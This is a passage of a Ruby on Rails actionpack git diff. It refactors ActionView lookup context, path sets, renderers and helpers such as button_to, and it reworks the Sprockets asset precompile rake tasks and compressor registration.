ActionView end end end -end
\ No newline at end of file +end diff --git a/actionpack/lib/action_view/helpers/text_helper.rb b/actionpack/lib/action_view/helpers/text_helper.rb index ae71ade588..21074efe86 100644 --- a/actionpack/lib/action_view/helpers/text_helper.rb +++ b/actionpack/lib/action_view/helpers/text_helper.rb @@ -256,7 +256,7 @@ module ActionView # # => "<p><span>I'm allowed!</span> It's true.</p>" def simple_format(text, html_options={}, options={}) text = '' if text.nil? - text = text.dup if text.frozen? + text = text.dup start_tag = tag('p', html_options, true) text = sanitize(text) unless options[:sanitize] == false text = text.to_str diff --git a/actionpack/lib/action_view/helpers/translation_helper.rb b/actionpack/lib/action_view/helpers/translation_helper.rb index 26b6e8b599..be64dc823e 100644 --- a/actionpack/lib/action_view/helpers/translation_helper.rb +++ b/actionpack/lib/action_view/helpers/translation_helper.rb @@ -25,7 +25,7 @@ module ActionView # * a titleized version of the last key segment as a text. # # E.g. the value returned for a missing translation key :"blog.post.title" will be - # <span class="translation_missing" title="translation missing: blog.post.title">Title</span>. + # <span class="translation_missing" title="translation missing: en.blog.post.title">Title</span>. # This way your views will display rather reasonable strings but it will still # be easy to spot missing translations. # diff --git a/actionpack/lib/action_view/helpers/url_helper.rb b/actionpack/lib/action_view/helpers/url_helper.rb index d70ae4196b..0c2e1aa3a9 100644 --- a/actionpack/lib/action_view/helpers/url_helper.rb +++ b/actionpack/lib/action_view/helpers/url_helper.rb @@ -55,8 +55,8 @@ module ActionView # # ==== Relying on named routes # - # Passing a record (like an Active Record or Active Resource) instead of a Hash as the options parameter will - # trigger the named route for that record. The lookup will happen on the name of the class. So passing a + # Passing a record (like an Active Record or Active Resource) instead of a Hash as the options parameter will + # trigger the named route for that record. The lookup will happen on the name of the class. So passing a # Workshop object will attempt to use the +workshop_path+ route. If you have a nested route, such as # +admin_workshop_path+ you'll have to call that explicitly (it's impossible for +url_for+ to guess that route). # @@ -113,7 +113,7 @@ module ActionView end # Creates a link tag of the given +name+ using a URL created by the set of +options+. - # See the valid options in the documentation for +url_for+. It's also possible to + # See the valid options in the documentation for +url_for+. It's also possible to # pass a String instead of an options hash, which generates a link tag that uses the # value of the String as the href for the link. Using a <tt>:back</tt> Symbol instead # of an options hash will generate a link to the referrer (a JavaScript back link @@ -268,7 +268,7 @@ module ActionView # to change the HTTP verb used to submit the form. # # ==== Options - # The +options+ hash accepts the same options as url_for. + # The +options+ hash accepts the same options as +url_for+. # # There are a few special +html_options+: # * <tt>:method</tt> - Symbol of HTTP verb. Supported verbs are <tt>:post</tt>, <tt>:get</tt>, @@ -278,7 +278,8 @@ module ActionView # prompt with the question specified. If the user accepts, the link is # processed normally, otherwise no action is taken. # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the - # submit behaviour. By default this behaviour is an ajax submit. + # submit behavior. By default this behavior is an ajax submit. + # * <tt>:form</tt> - This hash will be form attributes # * <tt>:form_class</tt> - This controls the class of the form within which the submit button will # be placed # @@ -295,6 +296,12 @@ module ActionView # # </form>" # # + # <%= button_to "Create", :action => "create", :remote => true, :form => { "data-type" => "json" } %> + # # => "<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json"> + # # <div><input value="Create" type="submit" /></div> + # # </form>" + # + # # <%= button_to "Delete Image", { :action => "delete", :id => @image.id }, # :confirm => "Are you sure?", :method => :delete %> # # => "<form method="post" action="/images/delete/1" class="button_to"> @@ -324,10 +331,11 @@ module ActionView end form_method = method.to_s == 'get' ? 'get' : 'post' - form_class = html_options.delete('form_class') || 'button_to' - + form_options = html_options.delete('form') || {} + form_options[:class] ||= html_options.delete('form_class') || 'button_to' + remote = html_options.delete('remote') - + request_token_tag = '' if form_method == 'post' && protect_against_forgery? request_token_tag = tag(:input, :type => "hidden", :name => request_forgery_protection_token.to_s, :value => form_authenticity_token) @@ -340,8 +348,10 @@ module ActionView html_options.merge!("type" => "submit", "value" => name) - ("<form method=\"#{form_method}\" action=\"#{ERB::Util.html_escape(url)}\" #{"data-remote=\"true\"" if remote} class=\"#{ERB::Util.html_escape(form_class)}\"><div>" + - method_tag + tag("input", html_options) + request_token_tag + "</div></form>").html_safe + form_options.merge!(:method => form_method, :action => url) + form_options.merge!("data-remote" => "true") if remote + + "#{tag(:form, form_options, true)}<div>#{method_tag}#{tag("input", html_options)}#{request_token_tag}</div></form>".html_safe end @@ -569,6 +579,12 @@ module ActionView # # current_page?(:controller => 'library', :action => 'checkout') # # => false + # + # Let's say we're in the <tt>/products</tt> action with method POST in case of invalid product. + # + # current_page?(:controller => 'product', :action => 'index') + # # => false + # def current_page?(options) unless request raise "You cannot use helpers that need to determine the current " \ @@ -576,6 +592,8 @@ module ActionView "in a #request method" end + return false unless request.get? + url_string = url_for(options) # We ignore any extra parameters in the request_uri if the @@ -596,9 +614,7 @@ module ActionView private def convert_options_to_data_attributes(options, html_options) - if html_options.nil? - link_to_remote_options?(options) ? {'data-remote' => 'true'} : {} - else + if html_options html_options = html_options.stringify_keys html_options['data-remote'] = 'true' if link_to_remote_options?(options) || link_to_remote_options?(html_options) @@ -611,6 +627,8 @@ module ActionView add_method_to_attributes!(html_options, method) if method html_options + else + link_to_remote_options?(options) ? {'data-remote' => 'true'} : {} end end diff --git a/actionpack/lib/action_view/lookup_context.rb b/actionpack/lib/action_view/lookup_context.rb index 560df15e82..fa4bf70f77 100644 --- a/actionpack/lib/action_view/lookup_context.rb +++ b/actionpack/lib/action_view/lookup_context.rb @@ -1,5 +1,6 @@ require 'active_support/core_ext/array/wrap' require 'active_support/core_ext/object/blank' +require 'active_support/core_ext/module/remove_method' module ActionView # = Action View Lookup Context @@ -17,23 +18,25 @@ module ActionView mattr_accessor :registered_details self.registered_details = [] - mattr_accessor :registered_detail_setters - self.registered_detail_setters = [] - def self.register_detail(name, options = {}, &block) self.registered_details << name - self.registered_detail_setters << [name, "#{name}="] + initialize = registered_details.map { |n| "self.#{n} = details[:#{n}]" } - Accessors.send :define_method, :"_#{name}_defaults", &block + Accessors.send :define_method, :"default_#{name}", &block Accessors.module_eval <<-METHOD, __FILE__, __LINE__ + 1 def #{name} @details[:#{name}] end def #{name}=(value) - value = Array.wrap(value.presence || _#{name}_defaults) + value = Array.wrap(value.presence || default_#{name}) _set_detail(:#{name}, value) if value != @details[:#{name}] end + + remove_possible_method :initialize_details + def initialize_details(details) + #{initialize.join("\n")} + end METHOD end @@ -41,8 +44,9 @@ module ActionView module Accessors #:nodoc: end - register_detail(:formats) { Mime::SET.symbols } register_detail(:locale) { [I18n.locale, I18n.default_locale] } + register_detail(:formats) { Mime::SET.symbols } + register_detail(:handlers){ Template::Handlers.extensions } class DetailsKey #:nodoc: alias :eql? :equal? @@ -60,38 +64,54 @@ module ActionView end end - def initialize(view_paths, details = {}, prefixes = []) - @details, @details_key = { :handlers => default_handlers }, nil - @frozen_formats, @skip_default_locale = false, false - @cache = true - @prefixes = prefixes + # Add caching behavior on top of Details. + module DetailsCache + attr_accessor :cache - self.view_paths = view_paths - self.registered_detail_setters.each do |key, setter| - send(setter, details[key]) + # Calculate the details key. Remove the handlers from calculation to improve performance + # since the user cannot modify it explicitly. + def details_key #:nodoc: + @details_key ||= DetailsKey.get(@details) if @cache + end + + # Temporary skip passing the details_key forward. + def disable_cache + old_value, @cache = @cache, false + yield + ensure + @cache = old_value + end + + protected + + def _set_detail(key, value) + @details_key = nil + @details = @details.dup if @details.frozen? + @details[key] = value.freeze end end + # Helpers related to template lookup using the lookup context information. module ViewPaths attr_reader :view_paths # Whenever setting view paths, makes a copy so we can manipulate then in # instance objects as we wish. def view_paths=(paths) - @view_paths = ActionView::Base.process_view_paths(paths) + @view_paths = ActionView::PathSet.new(Array.wrap(paths)) end - def find(name, prefixes = [], partial = false, keys = []) - @view_paths.find(*args_for_lookup(name, prefixes, partial, keys)) + def find(name, prefixes = [], partial = false, keys = [], options = {}) + @view_paths.find(*args_for_lookup(name, prefixes, partial, keys, options)) end alias :find_template :find - def find_all(name, prefixes = [], partial = false, keys = []) - @view_paths.find_all(*args_for_lookup(name, prefixes, partial, keys)) + def find_all(name, prefixes = [], partial = false, keys = [], options = {}) + @view_paths.find_all(*args_for_lookup(name, prefixes, partial, keys, options)) end - def exists?(name, prefixes = [], partial = false, keys = []) - @view_paths.exists?(*args_for_lookup(name, prefixes, partial, keys)) + def exists?(name, prefixes = [], partial = false, keys = [], options = {}) + @view_paths.exists?(*args_for_lookup(name, prefixes, partial, keys, options)) end alias :template_exists? :exists? @@ -110,16 +130,29 @@ module ActionView protected - def args_for_lookup(name, prefixes, partial, keys) #:nodoc: + def args_for_lookup(name, prefixes, partial, keys, details_options) #:nodoc: name, prefixes = normalize_name(name, prefixes) - [name, prefixes, partial || false, @details, details_key, keys] + details, details_key = detail_args_for(details_options) + [name, prefixes, partial || false, details, details_key, keys] + end + + # Compute details hash and key according to user options (e.g. passed from #render). + def detail_args_for(options) + return @details, details_key if options.empty? # most common path. + user_details = @details.merge(options) + [user_details, DetailsKey.get(user_details)] end # Support legacy foo.erb names even though we now ignore .erb # as well as incorrectly putting part of the path in the template # name instead of the prefix. def normalize_name(name, prefixes) #:nodoc: - name = name.to_s.gsub(handlers_regexp, '') + name = name.to_s.sub(handlers_regexp) do |match| + ActiveSupport::Deprecation.warn "Passing a template handler in the template name is deprecated. " \ + "You can simply remove the handler name or pass render :handlers => [:#{match[1..-1]}] instead.", caller + "" + end + parts = name.split('/') name = parts.pop @@ -132,120 +165,82 @@ module ActionView return name, prefixes end - def default_handlers #:nodoc: - @@default_handlers ||= Template::Handlers.extensions - end - def handlers_regexp #:nodoc: @@handlers_regexp ||= /\.(?:#{default_handlers.join('|')})$/ end end - module Details - attr_accessor :cache - - # Calculate the details key. Remove the handlers from calculation to improve performance - # since the user cannot modify it explicitly. - def details_key #:nodoc: - @details_key ||= DetailsKey.get(@details) if @cache - end - - # Temporary skip passing the details_key forward. - def disable_cache - old_value, @cache = @cache, false - yield - ensure - @cache = old_value - end + include Accessors + include DetailsCache + include ViewPaths - # Freeze the current formats in the lookup context. By freezing them, you are guaranteeing - # that next template lookups are not going to modify the formats. The controller can also - # use this, to ensure that formats won't be further modified (as it does in respond_to blocks). - def freeze_formats(formats, unless_frozen=false) #:nodoc: - return if unless_frozen && @frozen_formats - self.formats = formats - @frozen_formats = true - end + def initialize(view_paths, details = {}, prefixes = []) + @details, @details_key = {}, nil + @frozen_formats, @skip_default_locale = false, false + @cache = true + @prefixes = prefixes - # Overload formats= to expand ["*/*"] values and automatically - # add :html as fallback to :js. - def formats=(values) - if values - values.concat(_formats_defaults) if values.delete "*/*" - values << :html if values == [:js] - end - super(values) - end + self.view_paths = view_paths + initialize_details(details) + end - # Do not use the default locale on template lookup. - def skip_default_locale! - @skip_default_locale = true - self.locale = nil - end + # Freeze the current formats in the lookup context. By freezing them, you + # that next template lookups are not going to modify the formats. The con + # use this, to ensure that formats won't be further modified (as it does + def freeze_formats(formats, unless_frozen=false) #:nodoc: + return if unless_frozen && @frozen_formats + self.formats = formats + @frozen_formats = true + end - # Overload locale to return a symbol instead of array. - def locale - @details[:locale].first + # Override formats= to expand ["*/*"] values and automatically + # add :html as fallback to :js. + def formats=(values) + if values + values.concat(default_formats) if values.delete "*/*" + values << :html if values == [:js] end + super(values) + end - # Overload locale= to also set the I18n.locale. If the current I18n.config object responds - # to original_config, it means that it's has a copy of the original I18n configuration and it's - # acting as proxy, which we need to skip. - def locale=(value) - if value - config = I18n.config.respond_to?(:original_config) ? I18n.config.original_config : I18n.config - config.locale = value - end + # Do not use the default locale on template lookup. + def skip_default_locale! + @skip_default_locale = true + self.locale = nil + end - super(@skip_default_locale ? I18n.locale : _locale_defaults) - end + # Override locale to return a symbol instead of array. + def locale + @details[:locale].first + end - # A method which only uses the first format in the formats array for layout lookup. - # This method plays straight with instance variables for performance reasons. - def with_layout_format - if formats.size == 1 - yield - else - old_formats = formats - _set_detail(:formats, formats[0,1]) - - begin - yield - ensure - _set_detail(:formats, old_formats) - end - end + # Overload locale= to also set the I18n.locale. If the current I18n.config object responds + # to original_config, it means that it's has a copy of the original I18n configuration and it's + # acting as proxy, which we need to skip. + def locale=(value) + if value + config = I18n.config.respond_to?(:original_config) ? I18n.config.original_config : I18n.config + config.locale = value end - # Update the details keys by merging the given hash into the current - # details hash. If a block is given, the details are modified just during - # the execution of the block and reverted to the previous value after. - def update_details(new_details) - old_details = @details.dup + super(@skip_default_locale ? I18n.locale : default_locale) + end - registered_detail_setters.each do |key, setter| - send(setter, new_details[key]) if new_details.key?(key) - end + # A method which only uses the first format in the formats array for layout lookup. + # This method plays straight with instance variables for performance reasons. + def with_layout_format + if formats.size == 1 + yield + else + old_formats = formats + _set_detail(:formats, formats[0,1]) begin yield ensure - @details_key = nil - @details = old_details + _set_detail(:formats, old_formats) end end - - protected - - def _set_detail(key, value) - @details_key = nil - @details = @details.dup if @details.frozen? - @details[key] = value.freeze - end end - - include Accessors - include Details - include ViewPaths end end diff --git a/actionpack/lib/action_view/path_set.rb b/actionpack/lib/action_view/path_set.rb index e0cb5d6a70..bbb1af8154 100644 --- a/actionpack/lib/action_view/path_set.rb +++ b/actionpack/lib/action_view/path_set.rb @@ -1,11 +1,55 @@ module ActionView #:nodoc: # = Action View PathSet - class PathSet < Array #:nodoc: - %w(initialize << concat insert push unshift).each do |method| + class PathSet #:nodoc: + include Enumerable + + attr_reader :paths + + def initialize(paths = []) + @paths = typecast paths + end + + def initialize_copy(other) + @paths = other.paths.dup + self + end + + def [](i) + paths[i] + end + + def to_ary + paths.dup + end + + def include?(item) + paths.include? item + end + + def pop + paths.pop + end + + def size + paths.size + end + + def each(&block) + paths.each(&block) + end + + def compact + PathSet.new paths.compact + end + + def +(array) + PathSet.new(paths + array) + end + + %w(<< concat push insert unshift).each do |method| class_eval <<-METHOD, __FILE__, __LINE__ + 1 def #{method}(*args) - super - typecast! + paths.#{method}(*typecast(args)) end METHOD end @@ -17,7 +61,7 @@ module ActionView #:nodoc: def find_all(path, prefixes = [], *args) prefixes = [prefixes] if String === prefixes prefixes.each do |prefix| - each do |resolver| + paths.each do |resolver| templates = resolver.find_all(path, prefix, *args) return templates unless templates.empty? end @@ -25,17 +69,20 @@ module ActionView #:nodoc: [] end - def exists?(*args) - find_all(*args).any? + def exists?(path, prefixes, *args) + find_all(path, prefixes, *args).any? end - protected + private - def typecast! - each_with_index do |path, i| - path = path.to_s if path.is_a?(Pathname) - next unless path.is_a?(String) - self[i] = OptimizedFileSystemResolver.new(path) + def typecast(paths) + paths.map do |path| + case path + when Pathname, String + OptimizedFileSystemResolver.new path.to_s + else + path + end end end end diff --git a/actionpack/lib/action_view/renderer/abstract_renderer.rb b/actionpack/lib/action_view/renderer/abstract_renderer.rb index 60c527beeb..c0936441ac 100644 --- a/actionpack/lib/action_view/renderer/abstract_renderer.rb +++ b/actionpack/lib/action_view/renderer/abstract_renderer.rb @@ -11,15 +11,22 @@ module ActionView raise NotImplementedError end - # Checks if the given path contains a format and if so, change - # the lookup context to take this new format into account. - def wrap_formats(value) - return yield unless value.is_a?(String) - - if value.sub!(formats_regexp, "") - update_details(:formats => [$1.to_sym]){ yield } - else - yield + protected + + def extract_details(options) + details = {} + @lookup_context.registered_details.each do |key| + next unless value = options[key] + details[key] = Array.wrap(value) + end + details + end + + def extract_format(value, details) + if value.is_a?(String) && value.sub!(formats_regexp, "") + ActiveSupport::Deprecation.warn "Passing the format in the template name is deprecated. " \ + "Please pass render with :formats => [:#{$1}] instead.", caller + details[:formats] ||= [$1.to_sym] end end @@ -27,8 +34,6 @@ module ActionView @@formats_regexp ||= /\.(#{Mime::SET.symbols.join('|')})$/ end - protected - def instrument(name, options={}) ActiveSupport::Notifications.instrument("render_#{name}.action_view", options){ yield } end diff --git a/actionpack/lib/action_view/renderer/partial_renderer.rb b/actionpack/lib/action_view/renderer/partial_renderer.rb index 51c784493e..15cb9d0f76 100644 --- a/actionpack/lib/action_view/renderer/partial_renderer.rb +++ b/actionpack/lib/action_view/renderer/partial_renderer.rb @@ -27,7 +27,7 @@ module ActionView # # == The :as and :object options # - # By default <tt>ActionView::Partials::PartialRenderer</tt> doesn't have any local variables. + # By default <tt>ActionView::PartialRenderer</tt> doesn't have any local variables. # The <tt>:object</tt> option can be used to pass an object to the partial. For instance: # # <%= render :partial => "account", :object => @buyer %> @@ -206,27 +206,25 @@ module ActionView # <%- end -%> # <% end %> class PartialRenderer < AbstractRenderer #:nodoc: - PARTIAL_NAMES = Hash.new {|h,k| h[k] = {} } + PARTIAL_NAMES = Hash.new { |h,k| h[k] = {} } def initialize(*) super - @partial_names = PARTIAL_NAMES[@lookup_context.prefixes.first] + @context_prefix = @lookup_context.prefixes.first + @partial_names = PARTIAL_NAMES[@context_prefix] end def render(context, options, block) setup(context, options, block) + identifier = (@template = find_partial) ? @template.identifier : @path - wrap_formats(@path) do - identifier = ((@template = find_partial) ? @template.identifier : @path) - - if @collection - instrument(:collection, :identifier => identifier || "collection", :count => @collection.size) do - render_collection - end - else - instrument(:partial, :identifier => identifier) do - render_partial - end + if @collection + instrument(:collection, :identifier => identifier || "collection", :count => @collection.size) do + render_collection + end + else + instrument(:partial, :identifier => identifier) do + render_partial end end end @@ -270,6 +268,7 @@ module ActionView @options = options @locals = options[:locals] || {} @block = block + @details = extract_details(options) if String === partial @object = options[:object] @@ -291,12 +290,14 @@ module ActionView else paths.map! { |path| retrieve_variable(path).unshift(path) } end + if String === partial && @variable.to_s !~ /^[a-z_][a-zA-Z_0-9]*$/ raise ArgumentError.new("The partial name (#{partial}) is not a valid Ruby identifier; " + "make sure your partial name starts with a letter or underscore, " + "and is followed by any combinations of letters, numbers, or underscores.") end + extract_format(@path, @details) self end @@ -324,7 +325,7 @@ module ActionView def find_template(path=@path, locals=@locals.keys) prefixes = path.include?(?/) ? [] : @lookup_context.prefixes - @lookup_context.find_template(path, prefixes, true, locals) + @lookup_context.find_template(path, prefixes, true, locals, @details) end def collection_with_template @@ -360,13 +361,32 @@ module ActionView end def partial_path(object = @object) - @partial_names[object.class.name] ||= begin - object = object.to_model if object.respond_to?(:to_model) + object = object.to_model if object.respond_to?(:to_model) - object.class.model_name.partial_path.dup.tap do |partial| - path = @lookup_context.prefixes.first - partial.insert(0, "#{File.dirname(path)}/") if partial.include?(?/) && path.include?(?/) + path = if object.respond_to?(:to_partial_path) + object.to_partial_path + else + ActiveSupport::Deprecation.warn "ActiveModel-compatible objects whose classes return a #model_name that responds to #partial_path are deprecated. Please respond to #to_partial_path directly instead." + object.class.model_name.partial_path + end + + @partial_names[path] ||= path.dup.tap do |object_path| + merge_prefix_into_object_path(@context_prefix, object_path) + end + end + + def merge_prefix_into_object_path(prefix, object_path) + if prefix.include?(?/) && object_path.include?(?/) + overlap = [] + prefix_array = File.dirname(prefix).split('/') + object_path_array = object_path.split('/')[0..-3] # skip model dir & partial + + prefix_array.each_with_index do |dir, index| + overlap << dir if dir == object_path_array[index] end + + object_path.gsub!(/^#{overlap.join('/')}\//,'') + object_path.insert(0, "#{File.dirname(prefix)}/") end end diff --git a/actionpack/lib/action_view/renderer/template_renderer.rb b/actionpack/lib/action_view/renderer/template_renderer.rb index d04c00fd40..ac91d333ba 100644 --- a/actionpack/lib/action_view/renderer/template_renderer.rb +++ b/actionpack/lib/action_view/renderer/template_renderer.rb @@ -4,13 +4,12 @@ require 'active_support/core_ext/array/wrap' module ActionView class TemplateRenderer < AbstractRenderer #:nodoc: def render(context, options) - @view = context - - wrap_formats(options[:template] || options[:file]) do - template = determine_template(options) - freeze_formats(template.formats, true) - render_template(template, options[:layout], options[:locals]) - end + @view = context + @details = extract_details(options) + extract_format(options[:file] || options[:template], @details) + template = determine_template(options) + freeze_formats(template.formats, true) + render_template(template, options[:layout], options[:locals]) end # Determine the template to be rendered using the given options. @@ -20,13 +19,13 @@ module ActionView if options.key?(:text) Template::Text.new(options[:text], formats.try(:first)) elsif options.key?(:file) - with_fallbacks { find_template(options[:file], nil, false, keys) } + with_fallbacks { find_template(options[:file], nil, false, keys, @details) } elsif options.key?(:inline) handler = Template.handler_for_extension(options[:type] || "erb") Template.new(options[:inline], "inline template", handler, :locals => keys) elsif options.key?(:template) options[:template].respond_to?(:render) ? - options[:template] : find_template(options[:template], options[:prefixes], false, keys) + options[:template] : find_template(options[:template], options[:prefixes], false, keys, @details) end end @@ -62,12 +61,11 @@ module ActionView begin with_layout_format do layout =~ /^\// ? - with_fallbacks { find_template(layout, nil, false, keys) } : find_template(layout, nil, false, keys) + with_fallbacks { find_template(layout, nil, false, keys, @details) } : find_template(layout, nil, false, keys, @details) end rescue ActionView::MissingTemplate - update_details(:formats => nil) do - raise unless template_exists?(layout) - end + all_details = @details.merge(:formats => @lookup_context.default_formats) + raise unless template_exists?(layout, nil, false, keys, all_details) end end end diff --git a/actionpack/lib/action_view/template/resolver.rb b/actionpack/lib/action_view/template/resolver.rb index 2b9427ace5..f855ea257c 100644 --- a/actionpack/lib/action_view/template/resolver.rb +++ b/actionpack/lib/action_view/template/resolver.rb @@ -1,5 +1,6 @@ require "pathname" require "active_support/core_ext/class" +require "active_support/core_ext/io" require "action_view/template" module ActionView @@ -68,7 +69,7 @@ module ActionView # before returning it. def cached(key, path_info, details, locals) #:nodoc: name, prefix, partial = path_info - locals = sort_locals(locals) + locals = locals.map { |x| x.to_s }.sort! if key && caching? @cached[key][name][prefix][partial][locals] ||= decorate(yield, path_info, details, locals) @@ -97,18 +98,6 @@ module ActionView t.virtual_path ||= (cached ||= build_path(*path_info)) end end - - if :symbol.respond_to?("<=>") - def sort_locals(locals) #:nodoc: - locals.sort.freeze - end - else - def sort_locals(locals) #:nodoc: - locals = locals.map{ |l| l.to_s } - locals.sort! - locals.freeze - end - end end # An abstract class that implements a Resolver with path semantics. @@ -130,27 +119,35 @@ module ActionView def query(path, details, formats) query = build_query(path, details) - templates = [] - sanitizer = Hash.new { |h,k| h[k] = Dir["#{File.dirname(k)}/*"] } - Dir[query].each do |p| - next if File.directory?(p) || !sanitizer[p].include?(p) + # deals with case-insensitive file systems. + sanitizer = Hash.new { |h,dir| h[dir] = Dir["#{dir}/*"] } - handler, format = extract_handler_and_format(p, formats) - contents = File.open(p, "rb") { |io| io.read } + template_paths = Dir[query].reject { |filename| + File.directory?(filename) || + !sanitizer[File.dirname(filename)].include?(filename) + } - templates << Template.new(contents, File.expand_path(p), handler, - :virtual_path => path.virtual, :format => format, :updated_at => mtime(p)) - end + template_paths.map { |template| + handler, format = extract_handler_and_format(template, formats) + contents = File.binread template - templates + Template.new(contents, File.expand_path(template), handler, + :virtual_path => path.virtual, + :format => format, + :updated_at => mtime(template)) + } end # Helper for building query glob string based on resolver's pattern. def build_query(path, details) query = @pattern.dup - query.gsub!(/\:prefix(\/)?/, path.prefix.empty? ? "" : "#{path.prefix}\\1") # prefix can be empty... - query.gsub!(/\:action/, path.partial? ? "_#{path.name}" : path.name) + + prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1" + query.gsub!(/\:prefix(\/)?/, prefix) + + partial = escape_entry(path.partial? ? "_#{path.name}" : path.name) + query.gsub!(/\:action/, partial) details.each do |ext, variants| query.gsub!(/\:#{ext}/, "{#{variants.compact.uniq.join(',')}}") @@ -159,9 +156,13 @@ module ActionView File.expand_path(query, @path) end + def escape_entry(entry) + entry.gsub(/[*?{}\[\]]/, '\\\\\\&') + end + # Returns the file mtime from the filesystem. def mtime(p) - File.stat(p).mtime + File.mtime(p) end # Extract handler and formats from path. If a format cannot be a found neither @@ -235,15 +236,11 @@ module ActionView class OptimizedFileSystemResolver < FileSystemResolver #:nodoc: def build_query(path, details) exts = EXTENSIONS.map { |ext| details[ext] } - query = File.join(@path, path) - - exts.each do |ext| - query << "{" - ext.compact.each { |e| query << ".#{e}," } - query << "}" - end + query = escape_entry(File.join(@path, path)) - query + query + exts.map { |ext| + "{#{ext.compact.uniq.map { |e| ".#{e}," }.join}}" + }.join end end diff --git a/actionpack/lib/action_view/test_case.rb b/actionpack/lib/action_view/test_case.rb index 2cc85a9f69..9ebe498192 100644 --- a/actionpack/lib/action_view/test_case.rb +++ b/actionpack/lib/action_view/test_case.rb @@ -50,14 +50,17 @@ module ActionView module ClassMethods def tests(helper_class) - self.helper_class = helper_class + case helper_class + when String, Symbol + self.helper_class = "#{helper_class.to_s.underscore}_helper".camelize.safe_constantize + when Module + self.helper_class = helper_class + end end def determine_default_helper_class(name) - mod = name.sub(/Test$/, '').constantize + mod = name.sub(/Test$/, '').safe_constantize mod.is_a?(Class) ? nil : mod - rescue NameError - nil end def helper_method(*methods) @@ -65,7 +68,7 @@ module ActionView methods.flatten.each do |method| _helpers.module_eval <<-end_eval def #{method}(*args, &block) # def current_user(*args, &block) - _test_case.send(%(#{method}), *args, &block) # test_case.send(%(current_user), *args, &block) + _test_case.send(%(#{method}), *args, &block) # _test_case.send(%(current_user), *args, &block) end # end end_eval end diff --git a/actionpack/lib/sprockets/assets.rake b/actionpack/lib/sprockets/assets.rake index a68f0e84f8..a61a121d55 100644 --- a/actionpack/lib/sprockets/assets.rake +++ b/actionpack/lib/sprockets/assets.rake @@ -1,22 +1,95 @@ +require "fileutils" + namespace :assets do - # Ensures the RAILS_GROUPS environment variable is set - task :ensure_env do - ENV["RAILS_GROUPS"] ||= "assets" + def ruby_rake_task(task) + env = ENV['RAILS_ENV'] || 'production' + groups = ENV['RAILS_GROUPS'] || 'assets' + args = [$0, task,"RAILS_ENV=#{env}","RAILS_GROUPS=#{groups}"] + args << "--trace" if Rake.application.options.trace + ruby(*args) + end + + # We are currently running with no explicit bundler group + # and/or no explicit environment - we have to reinvoke rake to + # execute this task. + def invoke_or_reboot_rake_task(task) + if ENV['RAILS_GROUPS'].to_s.empty? || ENV['RAILS_ENV'].to_s.empty? + ruby_rake_task task + else + Rake::Task[task].invoke + end end desc "Compile all the assets named in config.assets.precompile" - task :precompile => :ensure_env do - Rake::Task["environment"].invoke - Sprockets::Helpers::RailsHelper + task :precompile do + invoke_or_reboot_rake_task "assets:precompile:all" + end + + namespace :precompile do + def internal_precompile(digest=nil) + unless Rails.application.config.assets.enabled + warn "Cannot precompile assets if sprockets is disabled. Please set config.assets.enabled to true" + exit + end + + # Ensure that action view is loaded and the appropriate + # sprockets hooks get executed + _ = ActionView::Base + + config = Rails.application.config + config.assets.compile = true + config.assets.digest = digest unless digest.nil? + config.assets.digests = {} - assets = Rails.application.config.assets.precompile - Rails.application.assets.precompile(*assets) + env = Rails.application.assets + target = File.join(Rails.public_path, config.assets.prefix) + compiler = Sprockets::StaticCompiler.new(env, + target, + config.assets.precompile, + :manifest_path => config.assets.manifest, + :digest => config.assets.digest, + :manifest => digest.nil?) + compiler.compile + end + + task :all do + Rake::Task["assets:precompile:primary"].invoke + # We need to reinvoke in order to run the secondary digestless + # asset compilation run - a fresh Sprockets environment is + # required in order to compile digestless assets as the + # environment has already cached the assets on the primary + # run. + ruby_rake_task "assets:precompile:nondigest" if Rails.application.config.assets.digest + end + + task :primary => ["assets:environment", "tmp:cache:clear"] do + internal_precompile + end + + task :nondigest => ["assets:environment", "tmp:cache:clear"] do + internal_precompile(false) + end end desc "Remove compiled assets" - task :clean => :environment do - assets = Rails.application.config.assets - public_asset_path = Rails.public_path + assets.prefix - rm_rf public_asset_path, :secure => true + task :clean do + invoke_or_reboot_rake_task "assets:clean:all" + end + + namespace :clean do + task :all => ["assets:environment", "tmp:cache:clear"] do + config = Rails.application.config + public_asset_path = File.join(Rails.public_path, config.assets.prefix) + rm_rf public_asset_path, :secure => true + end + end + + task :environment do + if Rails.application.config.assets.initialize_on_precompile + Rake::Task["environment"].invoke + else + Rails.application.initialize!(:assets) + Sprockets::Bootstrap.new(Rails.application).run + end end end diff --git a/actionpack/lib/sprockets/bootstrap.rb b/actionpack/lib/sprockets/bootstrap.rb new file mode 100644 index 0000000000..395b264fe7 --- /dev/null +++ b/actionpack/lib/sprockets/bootstrap.rb @@ -0,0 +1,37 @@ +module Sprockets + class Bootstrap + def initialize(app) + @app = app + end + + # TODO: Get rid of config.assets.enabled + def run + app, config = @app, @app.config + return unless app.assets + + config.assets.paths.each { |path| app.assets.append_path(path) } + + if config.assets.compress + # temporarily hardcode default JS compressor to uglify. Soon, it will work + # the same as SCSS, where a default plugin sets the default. + unless config.assets.js_compressor == false + app.assets.js_compressor = LazyCompressor.new { Sprockets::Compressors.registered_js_compressor(config.assets.js_compressor || :uglifier) } + end + + unless config.assets.css_compressor == false + app.assets.css_compressor = LazyCompressor.new { Sprockets::Compressors.registered_css_compressor(config.assets.css_compressor) } + end + end + + if config.assets.compile + app.routes.prepend do + mount app.assets => config.assets.prefix + end + end + + if config.assets.digest + app.assets = app.assets.index + end + end + end +end diff --git a/actionpack/lib/sprockets/compressors.rb b/actionpack/lib/sprockets/compressors.rb index 6544953df4..cb3e13314b 100644 --- a/actionpack/lib/sprockets/compressors.rb +++ b/actionpack/lib/sprockets/compressors.rb @@ -1,21 +1,83 @@ module Sprockets - class NullCompressor + module Compressors + @@css_compressors = {} + @@js_compressors = {} + @@default_css_compressor = nil + @@default_js_compressor = nil + + def self.register_css_compressor(name, klass, options = {}) + @@default_css_compressor = name.to_sym if options[:default] || @@default_css_compressor.nil? + @@css_compressors[name.to_sym] = {:klass => klass.to_s, :require => options[:require]} + end + + def self.register_js_compressor(name, klass, options = {}) + @@default_js_compressor = name.to_sym if options[:default] || @@default_js_compressor.nil? + @@js_compressors[name.to_sym] = {:klass => klass.to_s, :require => options[:require]} + end + + def self.registered_css_compressor(name) + if name.respond_to?(:to_sym) + compressor = @@css_compressors[name.to_sym] || @@css_compressors[@@default_css_compressor] + require compressor[:require] if compressor[:require] + compressor[:klass].constantize.new + else + name + end + end + + def 